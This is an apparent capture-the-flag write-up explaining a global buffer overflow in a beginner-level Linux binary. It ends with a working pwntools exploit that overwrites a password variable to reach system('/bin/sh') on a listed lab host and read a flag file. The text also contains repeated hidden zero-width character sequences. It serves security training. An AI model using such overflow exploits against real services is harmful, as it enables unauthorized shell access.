← Back to Writeups
CUSTOMEasypwn

Piece of cake

XESXOR9/2/20263 min read
#pwn#custom#easy#adjacent_global_buffer_overflo#ret2win_via_condition#strcmp_bypass_via_overwrite#linux

Piece of cake

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: adjacent_global_buffer_overflow, ret2win_via_condition, strcmp_bypass_via_overwrite

Summary

Task: 64-bit PIE ELF with fgets reading 128 bytes into a 64-byte global buffer, adjacent to a password variable checked by strcmp. Solution: overflow the input buffer to overwrite the adjacent good_pass variable with the expected string, triggering get_shell() which calls system(/bin/sh).

Piece of cake — HackerLab

Description

В ходе разведки сети мы обнаружили веб-сервер с приложением для некого сервиса и его самого уже запущенного. Приложение с веб-сервера я передал тебе, проанализируй его. Может быть, мы сможем проникнуть на сервер через этот сервис. Судя по всему это всё писал начинающий программист. Короче, я в тебя верю :)

English summary: During network reconnaissance, a web server was discovered running a service. The binary for the service is provided for analysis. The goal is to exploit the service to gain shell access. The description hints that the code was written by a beginner programmer, suggesting a simple vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: 62.173.140.174:27970

Analysis

Binary reconnaissance

$ file task
task: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

$ checksec task
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
SHSTK:    Enabled
IBT:      Enabled
Stripped: No

Key observations:

  • No stack canary — but the vulnerability is in global (.data) memory, not on the stack
  • Full RELRO + PIE — GOT overwrite and address prediction are difficult, but not needed
  • Not stripped — symbol names are available for analysis ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key symbols and memory layout

Reverse engineering with Ghidra reveals the following important symbols:

SymbolTypeOffsetSizeDescription
inputglobal buffer0x5fc064 bytes (0x40)User input destination
good_passglobal buffer0x600064 bytes (0x40)Password variable, initialized to "No"
get_shellfunction0x1209—Calls system("/bin/sh")

The critical observation: input and good_pass are adjacent in the .data section:

0x5fc0: input     (64 bytes)
0x6000: good_pass (64 bytes)  ← 0x5fc0 + 0x40 = 0x6000

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

In main(), the program reads user input with:

c
fgets(input, 0x80, stdin);  // reads 128 bytes into 64-byte buffer!

This is a classic buffer overflow: fgets reads 128 bytes (0x80) into a buffer that is only 64 bytes (0x40). The excess bytes overflow directly into the adjacent good_pass variable.

Program flow

  1. Program prints a banner and prompts: "Enter answer: "
  2. Reads input with fgets(input, 0x80, stdin) — overflow here
  3. Compares: strcmp(good_pass, "YEEEEESS! I LIKE CAKE!")
  4. If match (returns 0) → calls get_shell()
  5. get_shell() prints "Take that cake!!!" then executes system("/bin/sh") ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

The exploit is straightforward:

  1. Fill the input buffer with 64 bytes of padding (any character)
  2. Overwrite good_pass with the exact string "YEEEEESS! I LIKE CAKE!"
  3. The strcmp check passes, get_shell() is called, and we get a shell

Payload structure

[  64 bytes padding  ][  "YEEEEESS! I LIKE CAKE!"  ]
|--- input buffer ---|--- overwrites good_pass -----|
     0x5fc0                    0x6000

Exploit script

python
#!/usr/bin/env python3
from pwn import *
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

HOST = "62.173.140.174"
PORT = 27970

# The input buffer is 64 bytes at 0x5fc0
# good_pass is right after at 0x6000
# fgets reads 0x80 (128) bytes into the 64-byte input buffer
# strcmp(good_pass, "YEEEEESS! I LIKE CAKE!") == 0 triggers get_shell()

padding = b"A" * 64  # fill input buffer (0x40 bytes)
password = b"YEEEEESS! I LIKE CAKE!"  # overwrite good_pass

payload = padding + password

r = remote(HOST, PORT)
r.recvuntil(b"Enter answer: ")
r.sendline(payload)
r.recvuntil(b"Take that cake!!!")
r.sendline(b"cat /home/r00t/flag.txt")
print(r.recvrepeat(timeout=5).decode())
r.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execution

$ python3 exploit.py
[+] Opening connection to 62.173.140.174 on port 27970: Done
CODEBY{REDACTED}
[*] Closed connection to 62.173.140.174 port 27970

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍